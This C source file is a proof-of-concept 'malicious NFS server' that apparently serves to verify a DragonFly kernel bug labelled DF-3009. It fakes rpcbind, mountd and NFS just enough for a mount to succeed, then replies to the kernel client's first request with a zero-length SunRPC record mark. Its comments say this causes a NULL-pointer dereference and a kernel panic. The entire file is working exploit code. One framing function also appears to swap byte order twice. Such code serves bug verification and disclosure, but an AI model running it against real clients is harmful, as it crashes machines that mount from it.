/*
 * fakesrv.c - malicious NFS server for DF-3009 verification
 *             (client-side NULL-deref panic on zero-length RPC record mark)
 *
 * Speaks just enough SUNRPC for the DragonFly mount_nfs(8) handshake,
 * then feeds the *kernel* NFS client a single 4-byte SunRPC record mark
 * 0x80000000 (LASTFRAG, length 0) as the entire reply to its first
 * RPC over TCP.
 *
 *   - rpcbind (prog 100000) on UDP 111
 *       -> mountd(100005) lives at TCP port 779 ("127.0.0.1.3.11")
 *          nfs(100003)    at TCP port 2049
 *   - mountd v3 on TCP 779
 *       -> NULL / MNT "/" -> root filehandle 'A'*32, flavors AUTH_SYS
 *   - nfs v3 on TCP 2049
 *       -> userland NULL-proc pings from mount_nfs(8) get a proper reply
 *          (so the mount handshake succeeds),
 *       -> ANY other procedure (i.e. the kernel's first GETATTR/FSINFO)
 *          gets the 4-byte zero-length record mark 80 00 00 00 and the
 *          connection is then held open.
 *
 * Expected result on the client:
 *   nfs_receive() accepts len==0, returns success with a NULL mbuf,
 *   nfs_reply() executes  info.dpos = mtod(info.md == NULL, caddr_t)
 *   -> load from VA 0x10 -> page fault -> kernel panic.
 *
 * env: VERBOSE=1 dump every request
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT_PMAP  111
#define PORT_MNTD  779
#define PORT_NFS   2049

#define PROG_PMAP  100000
#define PROG_MNTD  100005
#define PROG_NFS   100003

static int verbose;

static unsigned char req[65536];
static unsigned char rep[65536];
static int rlen;

static void put32(u_int32_t v)
{
	rep[rlen++] = v >> 24; rep[rlen++] = v >> 16;
	rep[rlen++] = v >> 8;  rep[rlen++] = v;
}
static void putbytes(const void *p, int n)
{
	memcpy(rep + rlen, p, n); rlen += n;
}
static void pad4(int n) { while (n & 3) { rep[rlen++] = 0; n++; } }
static void putstr(const char *s)
{
	int n = strlen(s);
	put32(n); putbytes(s, n); pad4(n);
}
static void putopaque(const void *p, int n)
{
	put32(n); putbytes(p, n); pad4(n);
}
static u_int32_t get32(const unsigned char *p)
{
	return ((u_int32_t)p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

static unsigned char fh_root[32];

struct call {
	u_int32_t xid, prog, vers, proc;
	const unsigned char *args;
	int alen;
};

static int parse_call(int len, struct call *c)
{
	const unsigned char *p = req;
	u_int32_t mtype, credlen, verflen;
	int off;

	if (len < 28)
		return -1;
	c->xid   = get32(p + 0);
	mtype    = get32(p + 4);
	if (mtype != 0)
		return -1;
	c->prog  = get32(p + 12);
	c->vers  = get32(p + 16);
	c->proc  = get32(p + 20);
	off = 24;
	if (off + 8 > len) return -1;
	credlen = get32(p + off + 4);
	off += 8 + ((credlen + 3) & ~3);
	if (off + 8 > len) return -1;
	verflen = get32(p + off + 4);
	off += 8 + ((verflen + 3) & ~3);
	if (off > len) return -1;
	c->args = p + off;
	c->alen = len - off;
	return 0;
}

static void reply_hdr(u_int32_t xid)
{
	rlen = 0;
	put32(xid);
	put32(1);		/* REPLY */
	put32(0);		/* MSG_ACCEPTED */
	put32(0); put32(0);	/* verifier NULL */
	put32(0);		/* accept_stat = SUCCESS */
}

/* send rep[0..rlen) as one SunRPC record (TCP framing) */
static int send_record(int s)
{
	u_int32_t mark = htonl(0x80000000u | (u_int32_t)rlen);
	unsigned char hdr[4] = { mark >> 24, mark >> 16, mark >> 8, mark };
	unsigned char *buf = malloc(4 + rlen);
	int n;

	memcpy(buf, hdr, 4);
	memcpy(buf + 4, rep, rlen);
	n = write(s, buf, 4 + rlen);
	free(buf);
	return n;
}

/* ------------------------------------------------------------------ */
/* per-connection state: buffered record reassembly                   */
/* ------------------------------------------------------------------ */
struct conn {
	int fd;
	int is_nfs;		/* connection from the nfs/tcp listener   */
	int is_mntd;		/* connection from the mountd/tcp listener */
	int need;		/* record length we are currently reading */
	int len;		/* bytes buffered */
	unsigned char buf[65536];
};

#define MAXCONN 16
static struct conn conns[MAXCONN];

static struct conn *conn_new(int fd)
{
	for (int i = 0; i < MAXCONN; i++) {
		if (conns[i].fd < 0) {
			memset(&conns[i], 0, sizeof(conns[i]));
			conns[i].fd = fd;
			return &conns[i];
		}
	}
	return NULL;
}
static struct conn *conn_find(int fd)
{
	for (int i = 0; i < MAXCONN; i++)
		if (conns[i].fd == fd)
			return &conns[i];
	return NULL;
}
static void conn_close(struct conn *c)
{
	close(c->fd);
	c->fd = -1;
}

/* ------------------------------------------------------------------ */
static void handle_pmap_udp(int s)
{
	struct sockaddr_in from;
	socklen_t flen = sizeof(from);
	struct call c;
	int n = recvfrom(s, req, sizeof(req), 0,
			 (struct sockaddr *)&from, &flen);
	u_int32_t prog, port = 0;

	if (n <= 0)
		return;
	if (parse_call(n, &c) < 0)
		return;
	if (c.vers == 2 && c.proc == 3) {		/* PMAPPROC_GETPORT */
		prog = get32(c.args + 0);
		port = (prog == PROG_MNTD) ? PORT_MNTD :
		       (prog == PROG_NFS)  ? PORT_NFS  : 0;
		reply_hdr(c.xid);
		put32(port);
	} else if ((c.vers == 3 || c.vers == 4) && c.proc == 3) {
		/* RPCBPROC_GETADDR: prog, vers, netid, addr, owner */
		prog = get32(c.args + 0);
		reply_hdr(c.xid);
		if (prog == PROG_MNTD)
			putstr("127.0.0.1.3.11");	/* 3*256+11 = 779 */
		else if (prog == PROG_NFS)
			putstr("127.0.0.1.8.1");		/* 8*256+1  = 2049 */
		else
			putstr("");
	} else {
		reply_hdr(c.xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)&from, sizeof(from));
	if (verbose) fprintf(stderr, "pmap v%u p%u -> %u bytes\n",
			     c.vers, c.proc, rlen);
}

/*
 * One complete RPC call record arrived in req[0..n).
 */
static void handle_tcp_call(struct conn *c, int n)
{
	struct call call;

	if (parse_call(n, &call) < 0) {
		if (verbose) fprintf(stderr, "tcp: bad call (%d bytes)\n", n);
		return;
	}
	if (verbose)
		fprintf(stderr, "tcp %s: prog %u vers %u proc %u len %d\n",
			c->is_nfs ? "nfs" : "mntd",
			call.prog, call.vers, call.proc, n);

	if (c->is_mntd) {
		if (call.proc == 0) {
			reply_hdr(call.xid);
		} else if (call.proc == 1) {		/* MNT */
			reply_hdr(call.xid);
			put32(0);			/* status ok */
			putopaque(fh_root, 32);		/* root filehandle */
			put32(1); put32(1);		/* flavors: AUTH_SYS */
		} else {
			reply_hdr(call.xid);
		}
		send_record(c->fd);
		return;
	}

	/* NFS program on 2049 */
	if (call.proc == 0) {
		/* userland NULL ping from mount_nfs(8): answer properly */
		reply_hdr(call.xid);
		send_record(c->fd);
		return;
	}

	/*
	 * Kernel request (GETATTR/FSINFO/...): the entire reply is a
	 * single zero-length LASTFRAG record mark.
	 */
	if (verbose)
		fprintf(stderr, "nfs proc %u -> zero-length record mark\n",
			call.proc);
	{
		unsigned char mark[4] = { 0x80, 0, 0, 0 };
		if (write(c->fd, mark, 4) != 4)
			perror("write mark");
	}
	/* hold the connection open; panic should be instantaneous */
}

/* feed raw tcp bytes into record reassembly */
static void handle_tcp_data(struct conn *c)
{
	u_int32_t mark;
	int take, n;

	for (;;) {
		if (c->need == 0) {
			if (c->len < 4)
				return;
			mark = get32(c->buf);
			c->need = mark & 0x7fffffffu;
			memmove(c->buf, c->buf + 4, c->len - 4);
			c->len -= 4;
			if (c->need > 65536) {
				if (verbose)
					fprintf(stderr, "huge mark %u\n",
						c->need);
				conn_close(c);
				return;
			}
			continue;
		}
		if (c->len >= c->need) {
			take = c->need;
			n = c->need;
			if (n > (int)sizeof(req))
				n = sizeof(req);
			memcpy(req, c->buf, n);
			c->need = 0;
			memmove(c->buf, c->buf + take, c->len - take);
			c->len -= take;
			handle_tcp_call(c, n);
			if (c->fd < 0)
				return;
			continue;
		}
		return;		/* need more bytes */
	}
}

int
main(void)
{
	int udp_pmap, tcp_mntd, tcp_nfs;
	struct sockaddr_in sin;
	int one = 1;
	fd_set rfds;
	int maxfd, i, s;
	struct conn *c;

	verbose = getenv("VERBOSE") != NULL;
	memset(fh_root, 'A', sizeof(fh_root));
	for (i = 0; i < MAXCONN; i++)
		conns[i].fd = -1;

	udp_pmap = socket(AF_INET, SOCK_DGRAM, 0);
	tcp_mntd = socket(AF_INET, SOCK_STREAM, 0);
	tcp_nfs  = socket(AF_INET, SOCK_STREAM, 0);
	setsockopt(tcp_mntd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	setsockopt(tcp_nfs,  SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	sin.sin_port = htons(PORT_PMAP);
	if (bind(udp_pmap, (struct sockaddr *)&sin, sizeof(sin)) < 0)
		{ perror("bind pmap"); exit(1); }
	sin.sin_port = htons(PORT_MNTD);
	if (bind(tcp_mntd, (struct sockaddr *)&sin, sizeof(sin)) < 0 ||
	    listen(tcp_mntd, 8) < 0)
		{ perror("bind/listen mntd"); exit(1); }
	sin.sin_port = htons(PORT_NFS);
	if (bind(tcp_nfs, (struct sockaddr *)&sin, sizeof(sin)) < 0 ||
	    listen(tcp_nfs, 8) < 0)
		{ perror("bind/listen nfs"); exit(1); }

	fprintf(stderr, "fakesrv: pmap/udp %d mntd/tcp %d nfs/tcp %d\n",
		PORT_PMAP, PORT_MNTD, PORT_NFS);

	for (;;) {
		FD_ZERO(&rfds);
		maxfd = -1;
		FD_SET(udp_pmap, &rfds); maxfd = udp_pmap > maxfd ? udp_pmap : maxfd;
		FD_SET(tcp_mntd, &rfds); maxfd = tcp_mntd > maxfd ? tcp_mntd : maxfd;
		FD_SET(tcp_nfs, &rfds);  maxfd = tcp_nfs  > maxfd ? tcp_nfs  : maxfd;
		for (i = 0; i < MAXCONN; i++)
			if (conns[i].fd >= 0) {
				FD_SET(conns[i].fd, &rfds);
				if (conns[i].fd > maxfd)
					maxfd = conns[i].fd;
			}
		if (select(maxfd + 1, &rfds, NULL, NULL, NULL) < 0) {
			if (errno == EINTR)
				continue;
			perror("select");
			exit(1);
		}
		if (FD_ISSET(udp_pmap, &rfds))
			handle_pmap_udp(udp_pmap);
		if (FD_ISSET(tcp_mntd, &rfds)) {
			s = accept(tcp_mntd, NULL, NULL);
			if (s >= 0 && (c = conn_new(s)) != NULL)
				c->is_mntd = 1;
			else if (s >= 0)
				close(s);
		}
		if (FD_ISSET(tcp_nfs, &rfds)) {
			s = accept(tcp_nfs, NULL, NULL);
			if (s >= 0 && (c = conn_new(s)) != NULL)
				c->is_nfs = 1;
			else if (s >= 0)
				close(s);
		}
		for (i = 0; i < MAXCONN; i++) {
			if (conns[i].fd < 0)
				continue;
			if (!FD_ISSET(conns[i].fd, &rfds))
				continue;
			c = &conns[i];
			{
				int got = read(c->fd, c->buf + c->len,
					       sizeof(c->buf) - c->len);
				if (got <= 0) {
					if (verbose)
						fprintf(stderr, "conn eof\n");
					conn_close(c);
					continue;
				}
				c->len += got;
				handle_tcp_data(c);
			}
		}
	}
}
